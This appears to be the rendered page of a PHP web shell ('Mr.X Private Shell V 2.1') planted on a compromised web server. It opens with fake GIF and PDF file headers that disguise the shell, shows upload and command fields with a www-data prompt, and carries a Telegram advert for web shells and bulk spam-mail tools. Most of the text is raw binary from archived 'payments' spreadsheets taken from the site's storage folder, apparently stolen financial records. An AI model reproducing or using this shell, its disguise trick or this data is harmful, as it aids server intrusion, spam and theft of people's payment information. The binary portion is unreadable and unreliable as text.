GIF89; GIF89; %PDF- %PDF- Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.129: ~ $
PK!"[��&&,3s58b1/payments 2025-08-01 09-00-13.xlsx.tarnu�[���var/www/html/back/storage/app/public/payments 2025-08-01 09-00-13.xlsx000075500000017113000000000000020140 0ustar00PKH[G�D�Z�[Content_Types].xmlSV���N�0E�|E�-J��@5��*Q>`�'�UǶl���L����@�nbE�gr=��tW�d�>(k
6�r��V*�,���)�cI�`$hk�`{l:�/�CBb
V���9��Bf�RZ_C�W���
��o�k"���ƃM�/�Jb2��&�i�
��(#?�<t†]0pN+�
�#QS[�J��b]�$km�~�^c�
�#�P!�Zg��<��:&�;r�2���y�C�)�=�R���C�u��A�~�aK����ջ��K�ެY
��:��޺�	5�l��(SG��:�^��χ��Q��xH��&�v>X?c��k�*�(_����}�>��k�PKH[�78�K_rels/.relsSV���j�0��{
�{���1F�^ʠ�2��l�$���-}�y����Î��O��v�y�;�؋Ӱ.JP��޵^�����Yű�3G�Ww�g)��>�qQC��D���b!�]�i$L��3����2n���oT�:Z
�h����[��4�ი��]��yN�,ە�>�>�j
-'
V�)�#��EF^6��n�8q"K��H��>_ׄ���eƏ�<⇄�Ud�v��
T�PKH[�$�V��xl/_rels/workbook.xml.relsSV���j�0D�
��ZvZJ)�s)�\[����LlIh7m��UH��Ĭؙ�H��8�OL���*J�M���|4�g��[=�
&$��w�74�r}$�M<)p��EJ2GME���MҨ9��ɨ�^w(We�$���O��
��V �)��C�_�9��J�$���/�:dG]d���WK�s��s��<�[�V�tB��)?����0_!��!��4�E�ǩy���PKH[ad���EdocProps/app.xmlSV�SAn�0���1e�(
�b�:-rhPv��ZYD(��n��/%Ê��T�fg��T���=&��Wb�(E�ބ�C%��o>��|
.x��	I��j�B�����*�2ǵ�dZ���s�	��e:��4��]0/z����$���k�o�d(Ύ�״f�GO�S�~Z}��Y���I�B�ŷ�A�伩���K�|ҥ��R�8�dc݀#T�P��̶`i��G�!d�䩭D��8��!Y�,βs1b����3��LJN���9��rdp-�S���#�-;�����x9O<f�e|��?���E�y�rB�ဃvB?��Ǹw�x�5�v-$��L�0�>�M.���É�멤M�����mcx1O�_���E��P.���@�PKH[��2BqdocProps/core.xmlSV��QO�0��K_�h��2F"�'IL��km/P�ڦ�:���:������}����l_W�'8����l�HZ��fJ�W��$���2��Of�E!l.��Gg,8T��>vJ��6�ԋ-�܏BBsm\�1H�����3vMk@.9r�S;�)ŀ���)(TP�FO�QFOYW�?�ηd����g�h�WC�i�Q3��0F_�Oq�T�*�,�ȅ�ƕ�z�M��y����z���eh|�@޵��#�a�2	��2G�e2�_-H9f㫔ݤ,[�ۜ�<�\�'c�g��>��?��@����[&O6�)�c��%x��p�h�}������D�hmc��el줺�����uv��/PKH[s�{Y��xl/theme/theme1.xmlSV�YOo�6��S���l)u�:E��햦
�C��DK�)Q 餾
�q��aݰˀ�v�h�]�O�����
{�c���4i3lC�-������Q�z�A��!��c9�"������pp�m!�p`�ұfDZ�6?��7TDb��<��cEJ��-}���2OIkc.b�`(B;����n6kv�ib����xL}��Kksμ��+Q2��8�s�:E�
&N�#g��:Ĭc���
�e!�������?��y�^1UC��
�OIW�fN'�т���W����U\�����},uV���t�<5P�ʻ��n��o��׻ݮ�^���xw�n��[�
�]�U��[��Z�-�k+����5���A��d��s�d��
#�
�|,Q���
�D����b�<�X��YJ��\�#Aq&o��S�\��d!�����Q�!#��W�x��)z�����g�>~���O�8	u—�}��7��?�~���f���鯿|a*��'�?{��������%�H�iL$�E��>��6�2�F�V(pH���
��3�K�λ+���ק�+�Db�����.�˅ќ�L�n�4	���T��c|h��;�4��LM,{���� �8$	Q([�Bd�(��u���K>V�E]L�.ґ2ݠ1�efRB]���]����~�V����XVq�u<U86j�c�#ob��<�	��p� �!a�"��涘U��P��a�e����NLț�s��'�ǩQg�D:�C9�-��WF%x5C�1�'��K�:_Zߡad� ��T�R��j>������J�䴲�(��e{߂C̔<'�u�X���4�#��+�
�.V�\����,Ŷ�k�l���{L;P3Fnʼ�K0/�d>ȉ}~�c)��Ο���c���� ��%��dJ�r	���w~E�`s>���j��tK�o.��P�Z��
k]y;aN<�4�3K�N�fkބ�A8{��5ѰQ0#A��<,"န1r��8�3���z�i��[o'�,A�Ź5��Rc%J�j:��:BG����,��c����8~2+U��I��Ui�k�����m�4j
��H�T�XFU�4�,�ozn懋1�P�ΦE��Z�'CK�c⫚��\�SE�A���}z���
����9�P��x��/���k�2;0K#\֤���?/t�G�zv��ohJ�M��]S��
n+ȯ^���=ڱ�P�*�F�hrY����TB,{���J�u��Q�0R�4D�B�S� dO�v�������9���,ԕi�;"��
��]��P4�&�#r�ɠ٦����p���t>��KA�yzW+��Q��v*��m�-nzg>jS����
7>[��C��G���F��.�o19�ۚq���Z��]�l>5g�j�}��7w�g�w�������L>Z�3����m�M���{�p)���>��t�oPKH[�ҕ��xl/sharedStrings.xmlSV�V�n�@��+���Iڤ�q $��V�4�;�:-�H*�C+U���Ж;����&u^a�
<	�nJR{��BT�b{g�o��vfc�U�E6i�5�*iK�D�]s�M{�*�x�T.K���]�Z�M��kʤ5�Kj���p�NEQX�A�[r:���K�۶\|�+�ӥV�5(u�-EW��m5m����F�>vz�[��%�4X�4\>���E��5
���1���:V
� -��M*�$1�3�<��9�#�~�G��#�>���`.!�M�
���$�b����9H骾,�EY+����jY�]Pfr5��,"f@`c�.����dp�
v���u�@8A�|�$#�-�nm�o��C�zJr!�D���flE~NJ�R�N
�>��cIpŇ��C� �Zb�TA�Ԣ�h~	K�@h��̳@�����e
!h(����˫w�!� ��"~4{�)^}�K��}��W9�|K�>B9���S�X㼥�������<.�XЋv��t`�G(x�W��`J��}��.�gOR�c.e1f�	8c��}w!�#��C��|~/��F�&�F���sng\���*D��~yF̹�MS����#�8����W8��A~\E�-��#��$���J�cR<�3b�PKH[�A	�
xl/styles.xmlSV�VMo�0��WX�7�m�n" j#!�ШR�R�֪?�mVK}m��m۴�<��<3&���v�
S2��U��RUL6)���߮12�ʊr%!�=|��I��9<m,rw����m5�;��&�[k�;BL�A͕jA��ZiA�suC�[C+�'�(zOeg��D.�A��Mq�I��J��5@�hG��������[���?���+W�Hq�G��aI�H�@9+4� 	��R���M�|����g������d0��
 KZj-h�;���oa@B�э�}��Y,��P�r�3e��e	�ں�5[?Z�?i�Ψm���SN+F�і���/����F�$>W��"���t�F3���/����C����)�S��G�my��P��{�D:*|�f��1�9k��C����/)~eI�˓���%]����u^�eH�Ηt��~Oâ����|CN���񼏢c�2y��8�j_���!d����������-������c�`ϡ�)B��PKH[�U���vxl/workbook.xmlSV�RMs�@��+̒�F�Bӡ!vZR:���P�ŖkM�ó�N�z��8$��E~�x��vv�Q2Y�udt.�ƙHP��"���_����"qt�h��:qV����}\�p�ԵPr���ЮP�v�h�o�i����iQs�6V�ghR�5P��+��Ͳ�T�-����k*�”�B�{�<��j�(f5I��L�m���y7R$��\��*���k?u$�d���؄užjѐ��
��`���o~�	��V��e.Xi輙��h/��5]u��ck���ib�"M���\5H�	�1�/�ҳ��mi��Cq��Z�������t˟A�\�d�kE��$�?�"�K[�{kś
6�Q��@ġ�+���5��ث�8��֤�
�-�Fj5��	K[K��y؆�
����Wٻ��1z�r�q4����&�t�Kq�x�-�Q�����o�й���Q��Fx�������~e~�%η��	�/��PKH[n#�O-xl/worksheets/sheet1.xmlSV��]s�8��Wx|_@��:I%��t��Z�e�Զ�����~%�8�l�ivoZ[�Ϋ�G��s�[GD���&���'Y�[�~_�l���L`�K��_Pm\�1?a��#D-f0�+3�"�F�l^X�{Oi5��x�
X�p�J�����W��,&©���d����Ì���i��*icBP)�S�Ϫ����/!���GJq�(��z~E\㔎b\���{9O�~>o3B�1�T�o�W��C���U��S�g�Ex�V��v%&�)g��c���o��n2��\�}%V���/8a�V�4�JĔ�P��^�Q�O\;|�v{�����YΓ�
5��A�¾�{�*��_:�ҳE��#�QLQ"���}�'�X����>�,���a3��j
���
�7�cl�4YW�D��c�.l϶^^)�>��ޠ<_ط�m��fG����)Ņ�XU����B�H]d�T��̪�:�5N���j�N�@�ЊA���Ul�Q�����b���IP
9e06�o���gtD�7>r����e����*2�ոl�g�)K�~a;��l.>���9�f�C�:��}���l�z���g��o�������‰����0�Y�=�n����'����^	�Q�o8m
���7��wہI�������?X��%�,�p�ۆ�fv7	H�rN��b_��c��o3�����^�b��jVz\z�||�Fm�USŗ�]�1���p��p��#xj7MW��ki4U<!� p��d8o0�+O6wT�kYZnJ�&�<�U W��Un�xw��kE�T�"���Q�@�Q#�UDm$��&����fѵ24²�jC��[��u2��*���l���z��n���{_,0D0"0� d�՚_fr��p8C��!�q�9�&��5#���fV�����Mh6�5J�NB���
��Ll"Yt�-c��(�Z���'����G��l��l�&6��h[ۍ"j;�jjf35̛��T�ꛬ��6���x�c��Cpx�e:��ã��h�D�@j�>{Լ4FL��UuJ�
.`0#&�ģS�EG߆E�gJ^鐔`�01�8��1������p�@%Tߎ�#	�P�֕�qDq�qL@�>��c���� ҁ(������W"�LV�ރ⚠�چ�BQbzT�‡
\88�8q<��QB{��'�7�~�U�{K�pd�� ��ԃ�΅�.0uU�7uU�=|����7!1w�?��V
�1��qp��3doy�����[\�rV�{K�t��m��0��ap�8�㢯	M@dQ�}Bm�с��9c:�pp�o�����X������ֵ�*�g�/��d%}��%��{��La^#����/Axܡ/��2���)~YB�+A�Lq%��=���<���*c�b�1=�����CeU�B�1�%.�-L2TRq����;H�=����Bf��︻�l��{�ʍ�h7����GDx�M>k���di�k�!In���8t�:#5�E
?2�_�|!�lW�P[���$i���H��i�)>?#�|W]~��]����Ժ�M�tA�`9���+$��b|(�f��K��PKH[�KR"x�#xl/worksheets/_rels/sheet1.xml.relsSVM�1!{_A��@c�q���p+a!,1�{)-'��y����$�p�(bW�����~ݟAIG�0&_X��|��}4b5&,B���@e*�x�gi���uE�BO�h�I����PKH[G�D�Z� [Content_Types].xmlPKH[�78�K �_rels/.relsPKH[�$�V�� �xl/_rels/workbook.xml.relsPKH[ad���E �docProps/app.xmlPKH[��2Bq �docProps/core.xmlPKH[s�{Y�� &xl/theme/theme1.xmlPKH[�ҕ�� 
xl/sharedStrings.xmlPKH[�A	�
 �xl/styles.xmlPKH[�U���v xl/workbook.xmlPKH[n#�O- xl/worksheets/sheet1.xmlPKH[�KR"x�# �xl/worksheets/_rels/sheet1.xml.relsPK�dPK!7�!KK43s58b1/payments 2025-07-16 13-57-11.xlsx.xlsx.tar.gznu�[�����YgTTK�nr�A@�H�Ib�Er� ��&t��� Yr�I$	�36I$��$ Ab#������[����9�j������kW�W�0[W�����5D����X:;8�Y9�Y8[zA���p&aAa1>�;|B�LB"|bW
!~O�'�5�+�#&�����Bb���o�ͮ�‚B�BL��=���]-aW�����C����pq���MT㔫M��}L��	0Urrt�b����7�:�	���*(_�U>��jy\���w��z��o8���9��P�qI���V*�V��
��x��	��%�q�坚]�j�V{������T#��1����Q�Ʈ$I�;:�'�t��&J���]�I}N?� ,i)==ϴz�P�V�8�ٹ섋v�9Y�d\߅�:k����d
�30MRϩ�2�g�@+n��'�Y~dM�?�ڧ��cb��+� ��b����	�^!�Z�Rh�fes�+bF.���ҟ*��_��(�8�8��\[�ѻP�����^*l}��O���i����*u���
�p(cz��e���(�}wZ�9���K�8�>�E~�Z�I�
8�9K9@�NǍ�;�W$i�WtX��p��Ͽ�7h�$���ɯy.t7�QN�p5Έ×P���V>�3��*��1DtR�Nv����'�Щ��o��u�#�j�}-���*��!]wU��ꔱG�
ח��#�kB=���Ȣ�0+�,�;6̈́������Ž�'lC�")�϶�9_߮�N���~~�Rf�4��;�H�,�����q
p��ơT�b<��s<D�H��h���[�Z�NO\6�{be�C�?���wvf_�J0[��Ϩ4^E��**���	�rr��L�_��y$R�s�*����:W,�멙)
#��N�A��u��[��8�]eS����Q/t4�q*s��I7�޴�Q��Ξِv͘�b�ೳM�{lݹ%�N�c�Ւ�r@���j����us���yp���}��J�S�lȈ)�k9�Ei���d��w�`����L)��9���䊱F|�~�-C\jJHa��x6�%�����z`%NЂy�=����`o	�r�+� Y�2kB�F�
@z$���.������9�3
gI[PT�{B�|N�gV#R|0[]��oI&�9�1�+n#��V
���� >��QɲWw[5r�<]�9U�̀ZtF��{�u��}%�OW��.�#���M�lR7��J0��R}#�K���I��?ؐ}�2�e�P�V��d
�>U�3���ч$%�ejO��
ū-%գăվc�q��w%�@�󁬆��(\�@�c
�OߚT�T��Ւre�M�P��
��C�p!�a�Tc"�/4յWq�g$��`� g�������|�ك����:2OH�����i����}��"���g�reE�
$��b%�|le�Z5�ɾ������6a�[%Z�G��PkO!�u���R���]���JF�K��œ�ïx#���Wެ�`�?�+��Y��dTVy�wj�U���)��o��/�oC!iSI�/�v\2�;�DS����mq:ΏheoO��Ŭ��L�����S���y�E5���#��hpb�8���@+���Np �j��0}��<�xm�!����
�64�'�i�f���"w�8�p4;93*4}�W9�QYO�#��q+�^Ճ������o�+��K�	�k�L����p�������9FtO�w�V~�W%���wYC/�ַ\~��}����r�Co�˹��:X�݂�䓕҄���#��U�;^I��I"Q.ؒz[�KW���|��"s�	Mpbt�\7�C��ȉ阜��Yi��A��h��5����>%��Q.P�s]�ʆ��Y��<l��n�1O^� W[0��S�O�v�8͊S���6�W;p�I�lO�$��+��(k�q�1m��tZο�8�NSGe�ԼI'�1�v��sj�^"j'⠴��/�����k��Qa&�;(��L�I�6��L�5��\e.q&�C1V�D�dR\�!����UP�L��k�›u|~)=�:j�k~��ǜ�Ҥ'�S=��t�H;�\�ގ�cOM��Z
|�ex�GO8}?Ub&�MĮ}�jS݋)�Uf�4#���=�9�0�y�>��V�O�H��+����c�?��x74B۰e\w�G:��}��Ž�L��[�~��nFovsv\�e�t�
�͓�t�T�H�����G��I�X��e�����˭�ϛM[L��������#���a��� ��n8Y*h`����h���W����T��N-�� P��(f�C��)3�^Vv�iY9�A�Yj?�y� �u�^83k�K��ϣ\�G?�#6�$@�Í��:��nJ๽K^���#��v�L~�2�l??٬l����?Y.�h��9X��8��Bk��/��N��I%z�)� L��Os7ň��ƛ�<��	B�
��C�<9����bO����Wh
�TK��e��fdj&9��
��6�ݱ�����&��}�����CV򪱗iF�
O��t�B���,?qK>
�m0��kF�ӎ�
S��u���*�#w�ǿt���2�}I������e�M澄�}�u��Uj�L
^��s	���#�°������a����
��ښ}�)p��A�V��=�4e�c%ɧ|��wo{�)Uu�q�~n���0Y̵-0M�������h����?��Tr��>ċAJ	2n��ꑢӬ/��x����6���N�Zx�� ��3=>��Һ"w�[^h
�t��}a�~�t��\AXCٱK_�_�=�-f�y;�D��ë'(M��W)|��%��'�t�j�;�O���~
2�}�b�%m��&�/�+��M;�	d!�EA�'u�L�`� ��*�S����!Xd�D�HS��w��؄����Xw��r�}����R�R��9�����+5�Q��A�X��<�S���ܷ��/�\�n��U����p��]��m���GNގk�B�QCE*�;?"L�8�4z��K�R��1[1P�R���K��G��ܽ��*8?O��O�~��Ӏ�ۥUH������DA�z���k�j��{Ԯ����r�ܠ:��ȑ����6nd��LU�.Y(w��qF\�[��97�j�y}B37Չ��J��(��D��
b�@:��m!�LJ'%�x���,��Do��?l��V������Lm�=v鼾2�
,���P��&3�9��{s���4����ho�P��M��
hz\��F2�M�y�e�����$z�l�mi@]�IH�9�^�P̦�>ï��G��~�GS��'���M��w����g��F�Ըn�bg�����8���z�,F�u5+�^�ʔ�{��%2p��9��,�~����gT޹n�I6~��Vy[՛��b"T�vX朸ܜ˥��tD�[s߱ڻ��i��l����������,���;d�=\n��2�?2,�$^J̡���j�o�ɭ�3��7����~/��؟'���SUMΡDŽy(�"k��bH�7��y��`l�ɳ�n"~ٯWKX���P��6��]�N+J�1iY&�G9�Ot�ހ2��	]�|��MX�DFB��wu_vP��-E2)u���n�*p}�U^p��f�A���µO݉�Kd]�>C��}w��)9�U�?i|���YHOI�`��C���>�+�7|�q�Gvj�o��IuX3N��{�~r��x�V��'|�~粲d6�J��	���K!B���������]���H���3�譙�$X����9��R ƻ�B��D�����2���2I[Q���@�Y��Y��F^���WbcO��{	5����QBgkp�ebe0D�	��s���������k�s]Խ_�N���f��nU�ܑ�����=�
ӡb4#�	�ݦ�YiE�F,��D{��T;�r��R���J*&G)��&��&l[��L��k��K�ZҸ�P��|���w�w�uUi�X#X�M����1�.�P�m�s�RE|�T뾇����Ƅv�zt�u���[�)����`�^	�0v��0i���٦J�D9YR�+��F��4=�N��m�%�����`�Й&�41S9�O�rv��C�h�	s�<w�I��*���Pmwsـ�OY��޻���&0��
:Vʙ��1�\S��ze��fu�l+�I1r����>��!t�(	)TJ̎������~�?�}w��i��ۣ9��dצerڛ���[GY�J���dKL����WޞĐ�#�J��3�$���>#ay��j��/+��:��z��p.�Kq�2n����߂ڼ��W��䏼�u�3s����	[���}����1���D_��cD7��;	��B�m���ْ`��W�?���rw��~��r��I���\�r�2�"�{:�Ņ�k�v��B�Ũ%�<�ό�[��x�.��vc�B�ؽѶũ��k?6UC���@�詍-�~��n#�(Oj�`u�!�&b��$�|�����CA.S�Jg��DL�e�^3�t��>yƥYl/��^�A:�[u976�E,u�`�T�ۻ,�їg�D���p'w��������6ZR�m:V
��o���� �C��vV�,Z�Y3�{�xB[=coGV�vQ	J./�Mv�g�,��|�Vxc����D'�����r�AhZ��N'�{�#ߕK�Γu�B,��r��Da"�DA>:C��]{��E<L
\S
�"�
�������-���$�B�'�C���h����.���E|�i̵�'a/�NFq׿"�ʻN�z6�d�.�>��g���X‹ �=�������1b�柙��]�{�ckPnl
O�"��k��ء#�j�n���-N
6cC\��Ͷx�5����}Aj�����y�B��7'�&���&���$�ތ]�﵋���0z~�Լ�$�5!�����].�����1�r1���һ�Y�`UC�e98?mP�1b�/�G�s؁K<�n���>q�;Ƥ9�*h��)`[���%���$I��2|�6�PɓKɧ�=��%W��i�;�{�8�S��MRF�H��ːt��3wr�r�Ŭ�g:n)o�a͕���ҳlԎլ��
�MT�gHx��7�ϨC�r��v���]��i���d��+L�jd���v�F�0�y�td�a�da���!����X��L8�ec�5ֺc��.��@/�7y�@U8����p諄Z�Usb�kh�VQG�%�<٤6��$e�:���O�)k��S%z��p�I�0&iߘ�هz̶��1ꁼևw��op+������g�رmnBˑ�#h|9c?产X��
�WBv����C�3r�����d�/�K�>�PH*�LBs�ǎ&O�Mr����I��^�ب�Sg�:�L-���4͟�>0'Z��P��B_n)��������P?�BZ7>��`:�WODF��.������X�{uT�ݺH�D��qH�c6�L܂�<���	!,cRe\T�Xt:��G,�ܥ?�:�$f(t�/��>\�ŹC�)Q�/���b�P���
t�%�>��l۱?v��®{�@"��8oC�%������\�%[��Q��M9�n9����?b�o��o���p;�mZ�x���t:93���z+�x3J�#d1�Xͦ�1�X�e&���]У󛠪���e+�⍗f�c���I><a*� &@J�N5
Q�1��?|�h����dՠ=�gӲ�~�`���mm`^{�U�G"�_��������l1
��R���x�-_V�)�OM+'�^%��F�-@�Al#���*�B
K�����-��V
�Fv�T�}K��0�(T�b�n�ђ��Њ,�XL�/I�(r�B��p�
t����>bXx�yW!����=*�F�?X�0�ؿc`����U���\�	���f�IHJh��B��c$\�vR,>�{<�H�kW�t�ȝ�g,[C��^�5�Y~�D]ݬ�R���U�Y����jE
�3�|,�P��.���$S�<��̼B�>\|�^��l�u�)��V�u}�V���T��	,�$�����[Q���R+���6�ӂ�=Sl�h�:��TP�:��j��8_pt5��1��݁ş��__�p]b� �
���w��*�W=�^���P�+N�U��������_����*��~]�՝�W����7F���r��;�e���Ā���]���~ue#��.���d��3��o���Q��_Qn���IW����5z�����?������8;x"PK!��L��43s58b1/payments 2025-05-29 03-55-40.xlsx.xlsx.tar.gznu�[�����YgPTٶn�9�$�9�F@$JlB��$�ݒir�9H�%g�$�� 4Q� H�Bsg�^�ν�^�z?fu�9�v�Ω�������p����vs�����	���],�`NNN�6'o���+���0�O�',�((��
�{ٻz��	^� �/���"@�?��aW�‚BbŒ�����]�,\�^���cP88���mFʈ��F7�]��0V�;�]1�H��	�j���`�kT&��D
�(����Բjeq�[�]d����/9����Q�(uDjڸl����^��˽�=7�
h�4���[��<R�W�S3�\m�HsVk�����M4GD
��x=k��]4�oӜ�=R(2�X&��K��Hŷc~�����+ЍR��f��g'��� lY�d�I�r�
7t�乑��J��D[�8U-���4��Ρ��Vբ�*o����kd���(�$��dO��#�z��nUH�暹��S�0r�P�$�4`�T9N~:q���u9�o��!���%�V�����$N]�Ե�S�#�����#2�/��TZ��w=���@.�_ڍs�r>*,]i<�GIOt����߸Nǭ�;��W$���+:���]����Đ-R� p��з�.LH)��m^�p-�����Ԛ6>�3���1d|j�Vn�Ǚ7�ǻS1^�7c��^Ә}+���<��!MOM���g�=��gS��/���O�ǖ,EY2�^ذ�'�ԭ
�;�ݧG±��K$��X7�}{�j<5&�%$�!ʴy�[s�w&��I�H�������`�+��RTB7�4�U'���QYؐ~D=:q�T�M�Z���=���!�˽�P��ߢ�t���x��O���%n�[���Ϋ ���9ǫAy�q%�r���C����U��8���iU�p�s�+�2�T6�P�Z����y�j$k/�v(�DgάH�?��H�cg��ܸC'�z�ş5QC��ipOQM�HYC1r�@�v�Ļ��Cf���������j^�
0>�Z|Ҫ0s��(D"v�D-�5'|P�&[��l
ex:�d�u��q=͕"*7& �1Xp�?��m�:9�9��|Ĵ5��O�,z�8�WF���z�,��u�W3Y �
���\+�N�l]9�A�V%ڎ��/�rD�����1v�j��>'b���Z�
=�����
����7Ly����в�S1h.�ө=j.L�G��Uэ�:���6S���fY?Q��p��d��f�ͦ-�R�2�a�d���Ă���m�����{�kv�E(�p�F��d��~e�3�#��ч�Y�e�A�Ȟ�B���ֲ�Q�!P��X1�@g�@|
�Ȣ��F� ���m>4+#�(���e���hq"�S֘��׺
YފJ��y�������I���Ѕ�ė��4��e��nQ��M��$/	-��$;0?��i����]�py�/�!�2OJ��=�xQ��<�X+���I�I�j�ot��!��7ʊ4�/{ ^BZ�����3&���Y�j�K���y7E�\�Fz��ϼA�.�?�+Fhku	R�͟S�
Y�j�M��S%#:5��׫����?�m!
��K�Y�~�h��jy����=�;�5/,Q��tv�t�i7�$"M	�,�0P��6꼻���G&�ɪKsk�q�OMP�ʚyUl�8�ĸK�W�<��*�~6eMcs[_�i��ģ)���ad�#k�N�E}���?r�Xr����ﳪ�P��N����c�Vm_��t�u�]7���o�},�h� q����%f�vƝg�ެ�������+��w�:�SֈZU�f�Zg���&�&��#��?�h~�p$e��E�e�ǓdE���X?�B�����+^�N3cKf^F���٭.�DL�Y�CoDxVg'��&���s�:I���[0��ߗɫ
�f
s��~�����Z�1��]��Z{.�`I�ͩ��B������
.m��v�-�7��_���AUOidڬ�T���q��{
Ɍ.��W��Ct�rw���}��G�H�E�4ڛ�Q�џ���vr*s`*s"3�%�y|�hRL�1���}��@�D�F��Z1m=�zᄚ�*��߲œS�.�1�T��G��e>Fߛ�#/u��pj���p�m����]�(I�xBv�#��>��
HPV �:�)�88,�c�Lj��G3!}��Q�}-UC2��ǚ]��#ԍ���~db^�t��fcv��3�����r[���߶L��8RV�+&[>W5�u6�zyb�;V4�͙.�韷��a�����w���ˑ@1�{\I30��ӄ,���G~���-x��?n���_�J5>�({��;�mB��"����TTR趛d��2��?{��Ē�����\>�?��V}�O�������u�J�������'�p�����u|��x��������b9G������㋚�l�*�6�͊�#�	�b!a��B*�tN'��x�"�U��-<y���RO3�}��o4��P.�V���VOu�����ۂ�Y#>�%�t!�����KZ�����8+�6���<�Yy�v�6X�W4U��K&��'�
{�C"o�7�m:�u�; �� �)Iz�2�%w)}q1�XH	ܒ2#Y*�cѩ�q�ɂ���8j�>]�s'8*�b��1�"ZS�?3�v�GN_��ճ��G
A|ѣ�Jl^@�Z�������$��[@�������JOQ%U줨��\W;�9�����+&Kqĸ��~�aOt��)��3�s~��f����Vޞ�9�U��O����w�"J�o[#A�To��Q7�h:!\U���ù�� /
BpJ{�Bk��Ւ]p��S=��]�W�vR{mӰ{�@p���B�`#�Wxv��w-4oH����4S�ͅ�ʉ�f,T�G_j�ȭ��;�xo�3S	Lr�
�i�<����0�sl�ʍ�4[�#u ljG���E���y)��y��� q���}��<��a�}��6o�N�:W�Em	�"U��f(a귋>���{�q\��z�.Q,�c4š�,�?���dIW�[��.�43ڟ���g�yha�N?�a�����e�\Ể �����gh92n���|<���jh{s������<��f#X8���>�4�I#����p��\��
��ד��^W#Js/_Цh�9�,_����J�h�0�~R��v�w<�f�.sD(�M�w�
`�j�b�ف��M���K�ե	7��l�ܶ��!��'��Y���9�XI��6��m��ݡ�6>jPh'U��'�Tj��@˞y�L]��>�(<ϔ|'�^h�`����xdz�j��gs��G�ׯcԥ�NDb�C642=���N\[C���#���z���]�=�Z�î:N��뽫�����b�h�g������Q��x›6�C7�"���d�GUo�N;X%7gܖbš�О�!N������f���H�0x�'��|�"ҡ�I
a�h��W�K�ܻ���RaH?�NS��z���0[�8mjrt��J�X2޻�ې�*^,�[�Y�;ܭJ������ɉF�>���!ߗ�c�2��n"…m�9Dϓ��.�+��*�!��ڌ��'[�&9{��O���?tE��#����j
�i�\
�'�(�BǍM1EF��-	!��_H���v�v+��+��=�2��n��ù�������*�scS%�pe/&'t����~Z�ά �t��%�CA��~�d��~�e��/ۢϔrD�WT������m�'C�,A�6��;�c�̌�,L�#�u�u���&^�<u0=�w �/��p����~/�0/�.��4��G�+ܳ�Jگ��.�uQ?0_%$��6څ����_n�j얄��
^ϒ��L ���7���=�v3w�՛0�Rl�3�l�*]�b�x�208�9}�0`dVQ���+䊿i8�����
��dS)��O��n��<;��4nn#8�	a��4�Y/Qq�QF~�P�Qٓ��=`č��9=�Ը�Cm��['\� ������=x، #[>댻�qG%p����q%��WyE���nvI���a�p#>5c>�}$���$~N�\4��ɣ�M}s�$P�sH�jW�g�6�b�8pV��;�FC)�}�|ϕ����\��[���ݼC��ۏt	��·7BgvE�
)��\��j�����]l��AE��f�0���4���-2jZd��az����^�޽քȬ�w�����#��ԛ�;Lв���
��ɋ�h��|9�ٵ�q�H.��K���y3�ߊZ���W�5��y����A���g�EiS�C>����dݛp��T;
�U��؅O݆8k֮b��"�ã^[�a�;ԍ?�7C�V�|�4�Q�I&�ٙ�
s�z��\�٠5�2�߄� ��|�5إ��H�ԣɺ^j��-ec���k��A��5�N܄5ʓ�>T��wc�9~AQfǽו�-��KC&U�Lc���ںѠ�����}G��,��$���V�
1]���;+z:�<�f�Г�P���ѧgm��E�;8���@����@���֌���o������z�]��<��e-�Ft��҇[%�!�;�j�~�&.Y�9��h��QvEp��\��&Y�Y;�T���� �b_��LB�Q�<��|�L���H`��T�7qA
�DQ
}�̹�-�}�c"/aX�
��\���0�n�@�"�s���Y4#�=���[5�9����=����8*~<҄��m�I���X�+�9i?�m��uP, �m��b7�X ��zfd=nu�����e��5��*��?��J���q���GLkm�;�[C_�g(p�g� ��HV[��o��_��\L��zV�~�d~#�W�}��k]V��Py���}�\u߳Y��G�I�X�0��>���~'1g�F��,2�;
���x����@�6<82P\�ie$Sl���f*S��9�N�<2Ƭ~,A����4X
����̕��(��!7',ͥ��N���b�[p�n&G>����e��Y�Wq����[�7:���a��}n�'3z�$U]�xm4��AN�շ
ٖ�K�f��V�/��Wt+}͔\q�	����'J����e�@R.ۗڿ^̨����:�<�Q�{��އ�6�����nH�����+��S`����+��ާ�qKuV	q?��>!�W��W?��@�*�E�K������b�Gt�>;���+��K��WP�Zy�"�������@�!p��
<T���KU��c�A>-���#%����4�t��~�k�U܈�K����;�9��+�zM�0]I��&k����-��.�G��H_�dž�?��WwEP2疉K�G�
�g��y3��K����F�����޳�A��U�'��Ig��2�N���S�U�l�s���Gh.�R�W����R�*!"MA	�=�K�~M��H�%XE8ץ��i�m�x���Q��p]%�H��0g�qU[����y�*�}��?S�!�R�wQ�I̵z�	mZ����K�M���I��N��~_i��[Mf�"���t	3K��Y�ܬ����wwp��X����)���g9��̝I����D����lw��ܚ����
>����bօ�A�	�k�wB�9��̱��BO*6�D�m]+"IE�>8ܸ3�����L<+0揰�1�9H�b��L��l�P\�4�o���`C&5�m����UK%���U�~ݨ�6Ǽ����� �Jַn�-!���kzg�{���f>�0�]�4E͊zx���{����y�Qt4��li������8�m��&z<um�T��\NZh�$������_*�H���c���?˿U���Օ���BDhL$�Gr�(Y|Ƞ��	��xʉ�Ă�W�ԗ��#)�|�hn��f�S:��a}�\�R��\9U�9AJv�Gd�>�����YR�yo���n���q�x�[�P��YqWD�k�Z�6\b�}��n��c����?��_�
p]�� �
�'!�W����ώ�W#�Y���3�۫�_��_���p?{c�]����@�;6��_��8~�E��ǯכ�J��[�_]��I?�Α~�~u�����|L���(ק��(j�~E���ab����
